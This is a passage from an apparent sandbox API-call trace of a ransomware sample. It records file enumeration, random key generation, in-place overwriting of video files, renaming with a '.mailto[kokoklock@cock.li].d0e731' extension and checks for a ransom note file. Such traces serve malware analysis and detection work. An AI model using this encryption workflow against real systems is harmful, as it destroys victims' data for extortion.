"c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\7gwwt5bjwaqqgjldxbpm.mkv.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\7GwWt5bjwAQQGJLdxBpM.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\7gwwt5bjwaqqgjldxbpm.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0176.105] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\7GwWt5bjwAQQGJLdxBpM.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.106] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0c60) returned 1 [0176.106] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\7GwWt5bjwAQQGJLdxBpM.mkv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.106] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x2f835c8 [0176.106] wcscpy (in: _Dest=0x2f835c8, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" [0176.106] wcscat (in: _Dest=0x2f835c8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt" [0176.106] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\d0e731-readme.txt")) returned 0x20 [0176.106] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f835c8) returned 1 [0176.106] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6cb40) returned 1 [0176.106] RtlExitUserThread (Status=0x1) Thread: id = 2447 os_tid = 0xe20 [0176.107] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\CDCA.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\cdca.swf.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.109] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\CDCA.swf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.109] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\CDCA.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\cdca.swf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0176.109] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x236ffef8 | out: lpFileSize=0x236ffef8*=45320) returned 1 [0176.109] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0xb104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.109] ReadFile (in: hFile=0x4d0, lpBuffer=0x236ffecc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x236ffec8, lpOverlapped=0x0 | out: lpBuffer=0x236ffecc*, lpNumberOfBytesRead=0x236ffec8*=0x4, lpOverlapped=0x0) returned 1 [0176.110] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.110] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94a40 [0176.110] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d38 [0176.110] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94b30 [0176.110] NtQuerySystemTime (in: CurrentTime=0x236ffea4 | out: CurrentTime=0x236ffea4*=132121213334330861) returned 0x0 [0176.110] RtlRandom (in: Seed=0x236ffeb0 | out: Seed=0x236ffeb0) returned 0xfd26b73e [0176.110] RtlRandom (in: Seed=0x236ffeb0 | out: Seed=0x236ffeb0) returned 0x5c4c4ecb [0176.110] RtlRandom (in: Seed=0x236ffeb0 | out: Seed=0x236ffeb0) returned 0xb8ac9692 [0176.110] RtlRandom (in: Seed=0x236ffeb0 | out: Seed=0x236ffeb0) returned 0xf29a7c67 [0176.110] RtlRandom (in: Seed=0x236ffeb0 | out: Seed=0x236ffeb0) returned 0x6606d97f [0176.110] RtlRandom (in: Seed=0x236ffeb0 | out: Seed=0x236ffeb0) returned 0x945aa25b [0176.111] RtlRandom (in: Seed=0x236ffeb0 | out: Seed=0x236ffeb0) returned 0x860c745d [0176.111] RtlRandom (in: Seed=0x236ffeb0 | out: Seed=0x236ffeb0) returned 0xe88d37a0 [0176.111] RtlRandom (in: Seed=0x236ffeb0 | out: Seed=0x236ffeb0) returned 0xb33370a1 [0176.111] RtlRandom (in: Seed=0x236ffeb0 | out: Seed=0x236ffeb0) returned 0xb9ec07e9 [0176.111] RtlRandom (in: Seed=0x236ffeb0 | out: Seed=0x236ffeb0) returned 0xf3242606 [0176.111] RtlRandom (in: Seed=0x236ffeb0 | out: Seed=0x236ffeb0) returned 0x33fb0488 [0176.111] RtlRandom (in: Seed=0x236ffeb0 | out: Seed=0x236ffeb0) returned 0xe846e40a [0176.111] RtlRandom (in: Seed=0x236ffeb0 | out: Seed=0x236ffeb0) returned 0x13e4b0c8 [0176.111] RtlRandom (in: Seed=0x236ffeb0 | out: Seed=0x236ffeb0) returned 0x6a7f3257 [0176.111] RtlRandom (in: Seed=0x236ffeb0 | out: Seed=0x236ffeb0) returned 0x5627a168 [0176.111] RtlRandom (in: Seed=0x236ffeb0 | out: Seed=0x236ffeb0) returned 0xc97dc360 [0176.111] RtlRandom (in: Seed=0x236ffeb0 | out: Seed=0x236ffeb0) returned 0x39d617fd [0176.111] RtlRandom (in: Seed=0x236ffeb0 | out: Seed=0x236ffeb0) returned 0x5f1013ab [0176.111] RtlRandom (in: Seed=0x236ffeb0 | out: Seed=0x236ffeb0) returned 0xa1c039f7 [0176.111] RtlRandom (in: Seed=0x236ffeb0 | out: Seed=0x236ffeb0) returned 0xe5baf286 [0176.111] RtlRandom (in: Seed=0x236ffeb0 | out: Seed=0x236ffeb0) returned 0xb08b9f90 [0176.111] RtlRandom (in: Seed=0x236ffeb0 | out: Seed=0x236ffeb0) returned 0xae8a0cda [0176.111] RtlRandom (in: Seed=0x236ffeb0 | out: Seed=0x236ffeb0) returned 0xdf7797a2 [0176.111] RtlRandom (in: Seed=0x236ffeb0 | out: Seed=0x236ffeb0) returned 0xeec73cf4 [0176.111] RtlRandom (in: Seed=0x236ffeb0 | out: Seed=0x236ffeb0) returned 0x49a9a73e [0176.111] RtlRandom (in: Seed=0x236ffeb0 | out: Seed=0x236ffeb0) returned 0xb62bae52 [0176.111] RtlRandom (in: Seed=0x236ffeb0 | out: Seed=0x236ffeb0) returned 0xbde4138d [0176.111] RtlRandom (in: Seed=0x236ffeb0 | out: Seed=0x236ffeb0) returned 0x6512b1a0 [0176.111] RtlRandom (in: Seed=0x236ffeb0 | out: Seed=0x236ffeb0) returned 0xe5a15be8 [0176.111] RtlRandom (in: Seed=0x236ffeb0 | out: Seed=0x236ffeb0) returned 0x566c0af1 [0176.112] RtlRandom (in: Seed=0x236ffeb0 | out: Seed=0x236ffeb0) returned 0xf4e8fb6e [0176.127] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.127] ReadFile (in: hFile=0x4d0, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x236ffe7c, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x236ffe7c*=0x4096, lpOverlapped=0x0) returned 1 [0176.127] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.127] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87158 [0176.127] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88fa0 [0176.127] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94978 [0176.127] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94978) returned 1 [0176.128] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe4828 [0176.128] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94ba8 [0176.128] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d60 [0176.128] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d60) returned 1 [0176.128] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88fa0) returned 1 [0176.128] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0176.128] WriteFile (in: hFile=0x4d0, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x236ffe7c, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x236ffe7c*=0x4096, lpOverlapped=0x0) returned 1 [0176.129] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0176.129] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0xb108, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.129] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f94ba8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x236ffeb4, lpOverlapped=0x0 | out: lpBuffer=0x2f94ba8*, lpNumberOfBytesWritten=0x236ffeb4*=0x20, lpOverlapped=0x0) returned 1 [0176.129] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ba8) returned 1 [0176.129] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0176.130] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f94c48*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x236ffec8, lpOverlapped=0x0 | out: lpBuffer=0x2f94c48*, lpNumberOfBytesWritten=0x236ffec8*=0x8, lpOverlapped=0x0) returned 1 [0176.130] WriteFile (in: hFile=0x4d0, lpBuffer=0x236ffee0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x236ffec8, lpOverlapped=0x0 | out: lpBuffer=0x236ffee0*, lpNumberOfBytesWritten=0x236ffec8*=0x4, lpOverlapped=0x0) returned 1 [0176.130] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x236ffec8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x236ffec8*=0x4, lpOverlapped=0x0) returned 1 [0176.130] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x236ffec8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x236ffec8*=0x6c, lpOverlapped=0x0) returned 1 [0176.130] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f94d38*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x236ffec8, lpOverlapped=0x0 | out: lpBuffer=0x2f94d38*, lpNumberOfBytesWritten=0x236ffec8*=0x20, lpOverlapped=0x0) returned 1 [0176.130] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x236ffec8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x236ffec8*=0x4, lpOverlapped=0x0) returned 1 [0176.130] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d38) returned 1 [0176.130] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94b58) returned 1 [0176.131] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94c48) returned 1 [0176.131] CloseHandle (hObject=0x4d0) returned 1 [0176.131] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x11c) returned 0x2fa5100 [0176.131] wcscpy (in: _Dest=0x2fa5100, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\CDCA.swf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\CDCA.swf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\CDCA.swf.mailto[kokoklock@cock.li].d0e731" [0176.131] wcscat (in: _Dest=0x2fa5100, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\CDCA.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\CDCA.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0176.131] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\CDCA.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\cdca.swf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\CDCA.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\cdca.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0176.132] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\CDCA.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.132] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa5100) returned 1 [0176.132] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\CDCA.swf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.133] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x2f83cf8 [0176.133] wcscpy (in: _Dest=0x2f83cf8, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" [0176.133] wcscat (in: _Dest=0x2f83cf8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt" [0176.133] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\d0e731-readme.txt")) returned 0x20 [0176.133] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83cf8) returned 1 [0176.133] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f98978) returned 1 [0176.133] RtlExitUserThread (Status=0x1) Thread: id = 2448 os_tid = 0xf88 [0176.134] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x98) returned 0x2fa3038 [0176.134] wcscpy (in: _Dest=0x2fa3038, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f" [0176.134] wcscat (in: _Dest=0x2fa3038, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\" [0176.134] wcscat (in: _Dest=0x2fa3038, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\*") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\*" [0176.134] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3020570 [0176.134] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\*", lpFindFileData=0x3020570 | out: lpFindFileData=0x3020570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b96de0, ftCreationTime.dwHighDateTime=0x1d4c752, ftLastAccessTime.dwLowDateTime=0x8c51b4a1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c51b4a1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f803e0 [0176.136] wcscmp (_String1=".", _String2=".") returned 0 [0176.136] FindNextFileW (in: hFindFile=0x2f803e0, lpFindFileData=0x3020570 | out: lpFindFileData=0x3020570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b96de0, ftCreationTime.dwHighDateTime=0x1d4c752, ftLastAccessTime.dwLowDateTime=0x8c51b4a1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c51b4a1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.136] wcscmp (_String1="..", _String2=".") returned 1 [0176.136] wcscmp (_String1="..", _String2="..") returned 0 [0176.136] FindNextFileW (in: hFindFile=0x2f803e0, lpFindFileData=0x3020570 | out: lpFindFileData=0x3020570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e1c4cc0, ftCreationTime.dwHighDateTime=0x1d4d182, ftLastAccessTime.dwLowDateTime=0x105ab390, ftLastAccessTime.dwHighDateTime=0x1d4c8c1, ftLastWriteTime.dwLowDateTime=0x8b195fef, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13589, dwReserved0=0x0, dwReserved1=0x0, cFileName="08ywSvj7A5M.flv.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="08YWSV~1.D0E")) returned 1 [0176.136] wcscmp (_String1="08ywSvj7A5M.flv.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.136] wcscmp (_String1="08ywSvj7A5M.flv.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.136] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf6) returned 0x2f84a18 [0176.136] wcscpy (in: _Dest=0x2f84a18, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f" [0176.136] wcscat (in: _Dest=0x2f84a18, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\" [0176.136] wcscat (in: _Dest=0x2f84a18, _Source="08ywSvj7A5M.flv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\08ywSvj7A5M.flv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\08ywSvj7A5M.flv.mailto[kokoklock@cock.li].d0e731" [0176.737] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f84a18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c4 [0176.738] FindNextFileW (in: hFindFile=0x2f803e0, lpFindFileData=0x3020570 | out: lpFindFileData=0x3020570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c51b4a1, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c51b4a1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c567939, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0176.738] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0176.738] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0176.738] FindNextFileW (in: hFindFile=0x2f803e0, lpFindFileData=0x3020570 | out: lpFindFileData=0x3020570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d41ca20, ftCreationTime.dwHighDateTime=0x1d4c903, ftLastAccessTime.dwLowDateTime=0x57144840, ftLastAccessTime.dwHighDateTime=0x1d4d2a9, ftLastWriteTime.dwLowDateTime=0x8b1bc258, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x16a21, dwReserved0=0x0, dwReserved1=0x0, cFileName="u6ZuemDgtuT4vcMKt_WX.avi.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="U6ZUEM~1.D0E")) returned 1 [0176.739] wcscmp (_String1="u6ZuemDgtuT4vcMKt_WX.avi.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.739] wcscmp (_String1="u6ZuemDgtuT4vcMKt_WX.avi.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.739] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x108) returned 0x305cf80 [0176.739] wcscpy (in: _Dest=0x305cf80, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f" [0176.739] wcscat (in: _Dest=0x305cf80, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\" [0176.739] wcscat (in: _Dest=0x305cf80, _Source="u6ZuemDgtuT4vcMKt_WX.avi.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\u6ZuemDgtuT4vcMKt_WX.avi.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\u6ZuemDgtuT4vcMKt_WX.avi.mailto[kokoklock@cock.li].d0e731" [0176.739] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305cf80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x754 [0176.739] FindNextFileW (in: hFindFile=0x2f803e0, lpFindFileData=0x3020570 | out: lpFindFileData=0x3020570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x770f1ee0, ftCreationTime.dwHighDateTime=0x1d4c985, ftLastAccessTime.dwLowDateTime=0xd8590160, ftLastAccessTime.dwHighDateTime=0x1d4d22d, ftLastWriteTime.dwLowDateTime=0x8b1e2372, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x125c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VjwkAVYr Trz.swf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="VJWKAV~1.D0E")) returned 1 [0176.739] wcscmp (_String1="VjwkAVYr Trz.swf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.739] wcscmp (_String1="VjwkAVYr Trz.swf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.739] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf8) returned 0x2f84b18 [0176.739] wcscpy (in: _Dest=0x2f84b18, _Source="C:\\Users\\FD1HVy\\Videos\\SoW 